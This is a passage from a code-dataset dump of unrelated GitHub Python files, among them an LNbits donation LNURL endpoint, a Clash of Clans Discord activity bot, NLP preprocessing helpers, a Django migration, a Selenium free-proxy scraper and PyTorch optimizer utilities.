"usage_type": "call"}, {"api_name": "numpy.append", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 229, "usage_type": "call"}, {"api_name": "time.time", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 241, "usage_type": "call"}]}
{"seq_id": "73263864228", "text": "import hashlib\nimport json\nfrom http import HTTPStatus\n\nfrom fastapi import Request\nfrom fastapi.param_functions import Query\nfrom lnurl.types import LnurlPayMetadata\nfrom fastapi.exceptions import HTTPException\nfrom fastapi.responses import HTMLResponse\n\nfrom lnbits.core.services import create_invoice\n\nfrom . import donations_ext\nfrom .crud import get_donation\n\n\n@donations_ext.get(\n    \"/lnurl/{donation_id}\", response_class=HTMLResponse, name=\"donation.lnurl_response\"\n)\nasync def lnurl_response(req: Request, donation_id: str):\n    donation = await get_donation(donation_id)\n    if not donation:\n        raise HTTPException(\n            status_code=HTTPStatus.NOT_FOUND, detail=\"Donation not found\"\n        )\n\n    payResponse = {\n        \"tag\": \"payRequest\",\n        \"callback\": req.url_for(\"donation.lnurl_callback\", donation_id=donation_id),\n        \"metadata\": LnurlPayMetadata(json.dumps([[\"text/plain\", str(donation.title)]])),\n        \"maxSendable\": 500000000,\n        \"minSendable\": 10000,\n    }\n    return json.dumps(payResponse)\n\n\n@donations_ext.get(\n    \"/lnurl/cb/{donation_id}\", response_class=HTMLResponse, name=\"donation.lnurl_callback\"\n)\nasync def lnurl_callback(\n    donation_id: str, amount: str = Query(None)\n):\n    donation = await get_donation(donation_id)\n    if not donation:\n        raise HTTPException(\n            status_code=HTTPStatus.NOT_FOUND, detail=\"Donation not found\"\n        )\n    amount_received = int(amount)\n\n    if amount_received < 10000:\n        raise HTTPException(\n            status_code=HTTPStatus.FORBIDDEN,\n            detail=\"Amount {round(amount_received / 1000)} is smaller than minimum 10 sats.\",\n        )\n    elif amount_received / 1000 > 500000000:\n        raise HTTPException(\n            status_code=HTTPStatus.FORBIDDEN,\n            detail=\"Amount {round(amount_received / 1000)} is greater than maximum 500000.\",\n        )\n    _, payment_request = await create_invoice(\n        wallet_id=donation.wallet,\n        amount=int(amount_received / 1000),\n        memo=donation.title,\n        unhashed_description=(\n            LnurlPayMetadata(json.dumps([[\"text/plain\", str(donation.title)]]))\n        ).encode(),\n        extra={\"tag\": \"donations\", \"donationsId\": donation_id},\n    )\n    payResponse = {\"pr\": payment_request, \"routes\": []}\n    return json.dumps(payResponse)", "repo_name": "arcbtc/donations", "sub_path": "lnurl.py", "file_name": "lnurl.py", "file_ext": "py", "file_size_in_byte": 2332, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fastapi.Request", "line_number": 20, "usage_type": "name"}, {"api_name": "crud.get_donation", "line_number": 21, "usage_type": "call"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 23, "usage_type": "call"}, {"api_name": "http.HTTPStatus.NOT_FOUND", "line_number": 24, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 24, "usage_type": "name"}, {"api_name": "lnurl.types.LnurlPayMetadata", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 18, "usage_type": "name"}, {"api_name": "fastapi.param_functions.Query", "line_number": 41, "usage_type": "call"}, {"api_name": "crud.get_donation", "line_number": 43, "usage_type": "call"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 45, "usage_type": "call"}, {"api_name": "http.HTTPStatus.NOT_FOUND", "line_number": 46, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 46, "usage_type": "name"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 51, "usage_type": "call"}, {"api_name": "http.HTTPStatus.FORBIDDEN", "line_number": 52, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 52, "usage_type": "name"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 56, "usage_type": "call"}, {"api_name": "http.HTTPStatus.FORBIDDEN", "line_number": 57, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 57, "usage_type": "name"}, {"api_name": "lnbits.core.services.create_invoice", "line_number": 60, "usage_type": "call"}, {"api_name": "lnurl.types.LnurlPayMetadata", "line_number": 65, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "18175293649", "text": "# CoC Discord Bot. \n# Mainly created to improve API/Discord Bot knowledge. Improving python alongside.\n\n# imports for coc scripts\nimport coc\nimport os\n\n# imports for discord bot\nfrom discord.ext import commands\n\n# imports for data handling and gathering\nimport pandas as pd\nfrom datetime import datetime, timedelta\nfrom dotenv import load_dotenv\n\n# Login to CoC and init bot\nload_dotenv()\nclient = coc.login(\n    os.getenv(\"EMAIL\"),\n    os.getenv(\"PASS\"),\n    client=coc.EventsClient\n)\nbot = commands.Bot(command_prefix=\"?\")\n\n# Load Variables and Data Structures\nsave_file = os.path.dirname(os.path.realpath(__file__)) + \"\\PlayerData.xlsx\"\n# Dataframe Structure: Columns = PlayerTag. Index 0-23 = 24hr time. 24 = last update time\ndata = pd.read_excel(save_file)\nclanTag = '#J9R8RR20'\nmemberTag = []\nchannel_id = 865440614643269644\n\n\n# This function is called once when starting the program and updates the dataframe with members that\n# have left or been added. It backs up the saved data before performing operations.\nasync def updateData():\n    # backup\n    backupData()\n    # get member tags in clan\n    for member in await client.get_members(clanTag):\n        memberTag.append(member.tag)\n    # remove left members\n    for tag in data.columns:\n        if tag not in memberTag:\n            print(f'Need to Remove {tag}')\n            data.drop([tag], axis=1, inplace=True)\n    # add new members\n    for tag in memberTag:\n        if tag not in data.columns:\n            data[tag] = [None] * 26\n            print(f'Added {tag}')\n    # prep clan and player updates\n    client.add_clan_updates(clanTag)\n    mem_list = await client.get_members(clanTag)\n    for m in mem_list:\n        client.add_player_updates(m.tag)\n    # signal done\n    print(\"Loaded PlayerTag updates\")\n\n\n# When pinged with a tag, it will check data to see when last updated. If not within 15min it will reupdate the tag\ndef ping(name):\n    global data\n    if isRecentlyUpdated(name):\n        return\n    time = datetime.now()\n    # if not init\n    if data.isnull().at[time.hour, name]:\n        data.at[time.hour, name] = 0\n    data.at[time.hour, name] += 1\n    await saveData()\n\n\n# When given name checks if update happened in last 15 min (true) or not (false)\ndef isRecentlyUpdated(name):\n    time = datetime.now()\n    # if null then never updated, update time and return true\n    if data.isnull().at[24, name]:\n        data.at[24, name] = time\n        return False\n    # parse time\n    last_update = datetime.strptime(str(data.at[24, name]), '%Y-%m-%d %H:%M:%S.%f')\n    # check if in last 15 min\n    if last_update + timedelta(minutes=15) > time:\n        return True\n    # if not then set new update return false\n    data.at[24, name] = time\n    return False\n\n\n# Saves Dataframe to file\nasync def saveData():\n    data.to_excel(save_file, sheet_name='Player Ping Online')\n    await bot.get_channel(channel_id).send(\"Saved Data\")\n\n\n# Backs data up\ndef backupData():\n    data.to_excel(os.path.dirname(os.path.realpath(__file__)) + \"\\PlayerDataBackup.xlsx\", sheet_name='yep')\n    print(\"Backed up\")\n\n\n# This event handler detects when a player donates and pings tag\n@client.event\n@coc.PlayerEvents.donations()\nasync def playerDonated(oldMem, newMem):\n    await bot.get_channel(channel_id).send(f'{newMem.tag}({newMem}) donated at {datetime.now()}')\n    ping(newMem.tag)\n\n\n# This event handler detects when player attacks and pings tag\n@client.event\n@coc.PlayerEvents.versus_trophies()\nasync def playerVersusAttack(oldMem, newMem):\n    await bot.get_channel(channel_id).send(f'{newMem.tag}({newMem}) versus battle at {datetime.now()}')\n    ping(newMem.tag)\n\n\n# Removes tag and data when player leaves\n@client.event\n@coc.ClanEvents.member_leave()\nasync def playerLeave(member, clan):\n    data.drop([member.tag], axis=1, inplace=True)\n    client.remove_player_updates(member)\n    await bot.get_channel(channel_id).send(f'Removed {member.tag}({member})')\n\n\n# When player joins while running\n@client.event\n@coc.ClanEvents.member_join()\nasync def playerJoin(member, clan):\n    data[member.tag] = []\n    client.add_player_updates(member)\n    await bot.get_channel(channel_id).send(f'Added {member.tag}({member})')\n\n\n# Bot commands \n\n@bot.command(name=\"listp\", help='Lists updating player tags')\nasync def list_tags(ctx):\n    await ctx.send(memberTag)\n\n\n@bot.command(name='data', help=\"Returns data of given tag\")\nasync def print_data(ctx, tag):\n    await ctx.send(data[tag])\n\n\n@bot.command(name='save', help='Saves current data')\nasync def savecmd():\n    await saveData()\n\n\n@bot.command(name='pinfo', help='Returns player info from tag')\nasync def pinfo(ctx, tag):\n    await bot.get_channel(channel_id).send(await client.get_player(tag))\n\n\n@bot.command(name='tagof', help='Gets tag of name from clan')\nasync def ptag(ctx, input_name):\n    for member in await client.get_members(clanTag):\n        if member.name == input_name:\n            await bot.get_channel(channel_id).send(member.tag)\n\n\n# Run scripts and bot\n# client.loop.run_forever()\nclient.loop.run_until_complete(updateData())\nbot.run(os.getenv(\"DISCORD_TOKEN\"))\n", "repo_name": "Blackiecat12/CoC-Discord-Bot", "sub_path": "CoC-Discord-Bot.py", "file_name": "CoC-Discord-Bot.py", "file_ext": "py", "file_size_in_byte": 5079, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 17, "usage_type": "call"}, {"api_name": "coc.login", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 19, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 20, "usage_type": "call"}, {"api_name": "coc.EventsClient", "line_number": 21, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 23, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 76, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}, {"api_name": "coc.PlayerEvents.donations", "line_number": 105, "usage_type": "call"}, {"api_name": "coc.PlayerEvents", "line_number": 105, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "coc.PlayerEvents.versus_trophies", "line_number": 113, "usage_type": "call"}, {"api_name": "coc.PlayerEvents", "line_number": 113, "usage_type": "attribute"}, {"api_name": "coc.ClanEvents.member_leave", "line_number": 121, "usage_type": "call"}, {"api_name": "coc.ClanEvents", "line_number": 121, "usage_type": "attribute"}, {"api_name": "coc.ClanEvents.member_join", "line_number": 130, "usage_type": "call"}, {"api_name": "coc.ClanEvents", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 169, "usage_type": "call"}]}
{"seq_id": "5779945623", "text": "import pandas as pd\nfrom nltk.tokenize import NLTKWordTokenizer\nfrom nltk.stem import WordNetLemmatizer\nimport nltk\nfrom nltk.corpus import wordnet\nfrom nltk.corpus import stopwords\nimport json\nimport string\nfrom math import floor\n\n# naming convention: preprocessing_[L][S][P][H]\n#   W: with words\n#   C: with chunks\n#   L: with lemmatization\n#   S: with stopwords\n#   P: with punctuation\n#   H: with highpass\n\ndef preprocessing_W(path):\n    \"\"\"Return preprocessed dataframe\n\n    Parameters\n    ----------\n    path : str\n        path of data\n\n    Returns\n    -------\n    pd.DataFrame\n        Preprocessed Dataframe. Data columns are as follows:\n\n        ======  ==============================================================\n        id      id of document, e.g. \"id18154\" (as `str`)\n        token   a token in the dataset, e.g. \"the\" (as `list(str)`)\n        author  author of the document that this token belongs to (as `str`)\n        ======  ==============================================================\n    \"\"\"\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _remove_punctuation(df.token)\n    df.token = _remove_stopwords(df.token)\n    return df\n\n\ndef preprocessing_L(path):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _lemmatize(df.token)\n    df.token = _remove_punctuation(df.token)\n    df.token = _remove_stopwords(df.token)\n    return df\n\ndef preprocessing_SP(path):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    return df\n\ndef preprocessing_SPC(path):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _chunks(df.token)\n    return df\n\ndef preprocessing_C(path):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _remove_punctuation(df.token)\n    df.token = _remove_stopwords(df.token)\n    df.token = _chunks(df.token)\n    return df\n\ndef preprocessing_SPH(path, cutoff):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _high_pass(df.token, cutoff)\n    return df\n\ndef preprocessing_SPHC(path, cutoff):\n    df = _load(path)\n    df.token = _lower(df.token)\n    df.token = _tokenize(df.token)\n    df.token = _chunks(df.token)\n    df.token = _high_pass(df.token, cutoff)\n    return df\n\n\n# utilitiy functions to facilitate preprocessing\n\ndef _load(path):\n    file =  open(path, \"r\")\n    data = json.load(file)\n    return pd.DataFrame(data, columns=['id', 'token', 'author'])\n\ndef _lower(docs: pd.Series):\n    return docs.apply(lambda s: s.lower())\n\ndef _tokenize(docs: pd.Series):\n    return docs.apply(lambda s: [s[start:end] for start, end in NLTKWordTokenizer().span_tokenize(s)])\n\ndef _lemmatize(docs: pd.Series):\n    def pos_tagger(tag):\n        if tag.startswith(\"J\"):\n            return wordnet.ADJ\n        elif tag.startswith(\"V\"):\n            return wordnet.VERB\n        elif tag.startswith(\"N\"):\n            return wordnet.NOUN\n        elif tag.startswith(\"R\"):\n            return wordnet.ADV\n        else:\n            return None\n        \n    lemm = WordNetLemmatizer()\n    return docs.apply(lambda doc: nltk.pos_tag(doc)) \\\n        .apply(lambda doc: list(map(lambda x: (x[0], pos_tagger(x[1])), doc))) \\\n        .apply(lambda doc: list(map(lambda x: x[0] if x[1] == None else lemm.lemmatize(x[0], x[1]), doc)))\n\ndef _remove_stopwords(docs: pd.Series):\n    stop_words = set(stopwords.words('english'))\n    return docs.apply(lambda doc: [w for w in doc if not w in stop_words])\n\ndef _remove_punctuation(docs: pd.Series):\n    return docs.apply(lambda doc: [w for w in doc if not w in string.punctuation])\n\ndef _high_pass(docs: pd.Series, cutoff: float):\n    tokens = docs.explode()\n    dist = nltk.FreqDist(tokens)\n    n = len(tokens)\n    return docs.apply(lambda doc: [w for w in doc if dist[w] > n * cutoff])\n\ndef _chunks(doc: pd.Series):\n    joined = doc.apply(lambda doc: \"\".join(doc))\n    return joined.apply(lambda doc: [\"\".join([doc[3*i], doc[3*i+1], doc[3*i+2]]) for i in range(floor(len(doc)/3))])\n\nif __name__ == \"__main__\":\n    for path in [\"new_train.json\", \"new_test.json\"]:\n        preprocessing_W(path).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_W.json', orient='records')\n        preprocessing_L(path).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WL.json', orient='records')\n        preprocessing_SP(path).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSP.json', orient='records')\n        preprocessing_SPC(path).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSP.json', orient='records')\n        preprocessing_C(path).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_C.json', orient='records')\n        preprocessing_SPH(path, 5e-4).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSPH5e-4.json', orient='records')\n        preprocessing_SPHC(path, 5e-4).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSPH5e-4.json', orient='records')\n        preprocessing_SPH(path, 1e-4).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSPH1e-4.json', orient='records')\n        preprocessing_SPHC(path, 1e-4).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSPH1e-4.json', orient='records')\n        preprocessing_SPH(path, 5e-5).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSPH5e-5.json', orient='records')\n        preprocessing_SPHC(path, 5e-5).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSPH5e-5.json', orient='records')\n        preprocessing_SPH(path, 1e-5).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSPH1e-5.json', orient='records')\n        preprocessing_SPHC(path, 1e-5).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSPH1e-5.json', orient='records')\n        preprocessing_SPH(path, 1e-6).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_WSPH1e-6.json', orient='records')\n        preprocessing_SPHC(path, 1e-6).to_json(f'preprocessing_output/preprocessed_{\"train\" if \"train\" in path else \"test\"}_CSPH1e-6.json', orient='records')\n        ", "repo_name": "kobutri/pg_knowledge_discovery_ml", "sub_path": "preprocessing.py", "file_name": "preprocessing.py", "file_ext": "py", "file_size_in_byte": 6535, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 98, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 103, "usage_type": "attribute"}, {"api_name": "nltk.tokenize.NLTKWordTokenizer", "line_number": 104, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 106, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet.ADJ", "line_number": 109, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 109, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.VERB", "line_number": 111, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 111, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.NOUN", "line_number": 113, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 113, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.ADV", "line_number": 115, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 115, "usage_type": "name"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 119, "usage_type": "call"}, {"api_name": "nltk.pos_tag", "line_number": 120, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 124, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 125, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 125, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 128, "usage_type": "attribute"}, {"api_name": "string.punctuation", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 131, "usage_type": "attribute"}, {"api_name": "nltk.FreqDist", "line_number": 133, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 137, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 139, "usage_type": "call"}]}
{"seq_id": "72954413670", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('triumph_app', '0003_auto_20171115_0403'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='challenge',\n            name='sequence',\n            field=models.CharField(max_length=999, verbose_name=b'\\xd0\\x92\\xd1\\x8b\\xd1\\x80\\xd0\\xb0\\xd0\\xb6\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5'),\n            preserve_default=True,\n        ),\n    ]\n", "repo_name": "askarpenko7/triumph", "sub_path": "triumph_project/triumph_app/migrations/0004_auto_20171115_0420.py", "file_name": "0004_auto_20171115_0420.py", "file_ext": "py", "file_size_in_byte": 537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "71535100070", "text": "import requests\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.select import Select\n\n\ndef collect_proxies():\n    driver = webdriver.Chrome(executable_path='chromedriver')\n    url = 'https://free-proxy-list.net/'\n    driver.get(url)\n    proxies = []\n    url = 'https://free-proxy-list.net/'\n    timeout = 30\n    try:\n        WebDriverWait(driver, timeout).until(EC.visibility_of_element_located((By.ID, \"proxylisttable\")))\n    except TimeoutException:\n        driver.quit()\n\n    selectXpath = '//*[@id=\"proxylisttable\"]/tfoot/tr/th[7]/select'\n    select_https = Select(driver.find_element(By.XPATH, selectXpath))\n\n    #Change the filter to only show https proxies\n    select_https.select_by_visible_text('yes')\n\n    nextXpath = '//*[@id=\"proxylisttable_next\"]/a'\n\n    proxy_table_body = driver.find_element(By.XPATH, '//*[@id=\"proxylisttable\"]/tbody')\n    for pageNum in range(4):\n        rows = proxy_table_body.find_elements(By.CSS_SELECTOR, 'tr')\n        for tr in rows:\n            td = tr.find_elements(By.CSS_SELECTOR, 'td')\n            proxy = f'{td[0].text}:{td[1].text}'\n            proxies.append(proxy)\n        next_Page = driver.find_element(By.XPATH, nextXpath)\n        next_Page.click()\n\n\n\n    #webdriver.ActionChains(driver).move_to_element(select_https).click(element).perform()\n    return proxies\n\n", "repo_name": "JrReubinJr/igFollowersScrapper", "sub_path": "proxies.py", "file_name": "proxies.py", "file_ext": "py", "file_size_in_byte": 1551, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 11, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 11, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.visibility_of_element_located", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 18, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.select.Select", "line_number": 23, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 30, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 30, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 32, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 32, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 34, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 37, "usage_type": "name"}]}
{"seq_id": "34816174160", "text": "import os\nfrom typing import Dict, Optional, Union, Tuple\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\n\n\n\ndef get_device(\n    device_type: str, device_index: Optional[Union[int, Tuple[int, ...]]] = None\n) -> torch.device:\n    if device_type == \"cpu\":\n        return torch.device(device_type)\n    elif device_type == \"cuda\":\n        if isinstance(device_index, int):\n            return torch.device(device_type + f\":{device_index}\")\n        elif isinstance(device_index, list):\n            raise NotImplementedError()\n        else:\n            raise ValueError(\"ConfigError: Invalid device index\")\n    else:\n        raise ValueError(\"ConfigError: Invalid device type\")\n\n\ndef get_optimizer(cfg, model):\n    optimizer_params = cfg[\"train_config\"][\"parameters\"][\"optimizer\"]\n    optimizer_kind = optimizer_params.pop(\"kind\")\n    if optimizer_kind == \"adam\":\n        return optim.Adam(model.parameters(), **optimizer_params)\n    elif optimizer_kind == \"sgd\":\n        return optim.SGD(model.parameters(), **optimizer_params)\n    elif optimizer_kind == \"adamw\":\n        return optim.AdamW(model.parameters(), **optimizer_params)\n    else:\n        raise NotImplementedError()\n\n\ndef get_loss(loss):\n    if loss == \"logit\":\n        return nn.BCEWithLogitsLoss()\n    elif loss==\"cross_entropy\":\n        return nn.CrossEntropyLoss()", "repo_name": "aysaac/twitter_news", "sub_path": "utils/factories.py", "file_name": "factories.py", "file_ext": "py", "file_size_in_byte": 1340, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Optional", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.optim.AdamW", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "17842239279", "text": "from django.shortcuts import render, redirect\nfrom .models import *\nfrom authapp.models import Master_Table, Service_Provider, User\nfrom userapp.models import Request_Details, User_Query\nfrom .util import *\n\n# Page rendering\ndef Index(request):\n   return My_Request(request)\n\n\n# Adding garage details\ndef AddGarageDetails(request):\n    gname= request.POST['gname']\n    gaddress= request.POST['gaddress']\n    gcity= request.POST['gcity']\n    gmobileno= request.POST['gmobileno']\n    gimage= request.FILES['gimage']\n    sp_id= Master_Table.objects.get(Email= request.session['Email'])\n\n    if \"general_service\" in request.POST:\n        serv1= \"General Service\"\n        serv1_price= request.POST['general_service_price']\n    else:\n        serv1= \"\"\n        serv1_price= 0\n    if \"electrical_issue\" in request.POST:\n        serv2= \"Electrical Issue\"\n        serv2_price= request.POST['electrical_issue_price']\n    else:\n        serv2= \"\"\n        serv2_price= 0\n    if \"engine/silencer_noise\" in request.POST:\n        serv3= \"Engine/Silencer Noise\"\n        serv3_price= request.POST['engine/silencer_noise_price']\n    else:\n        serv3= \"\"\n        serv3_price= 0\n    if \"repainting/scratch_removal\" in request.POST:\n        serv4= \"Repainting/Scratch Removal\"\n        serv4_price= request.POST['repainting/scratch_removal_price']\n    else:\n        serv4= \"\"\n        serv4_price= 0\n    if \"oil_changing\" in request.POST:\n        serv5= \"Oil Changing\"\n        serv5_price= request.POST['oil_changing_price']\n    else:\n        serv5= \"\"\n        serv5_price= 0\n    if \"tyre_puncture/replacement\" in request.POST:\n        serv6= \"Tyre puncture/Replacement\"\n        serv6_price= request.POST['tyre_puncture/replacement_price']\n    else:\n        serv6= \"\"\n        serv6_price= 0\n\n    if \"chain_and_spocket_issue\" in request.POST:\n        serv7= \"Chain and Spocket Issue\"\n        serv7_price= request.POST['chain_and_spocket_issue_price']\n    else:\n        serv7= \"\"\n        serv7_price= 0\n\n\n    pro_name= Service_Provider.objects.filter(SP_Id= 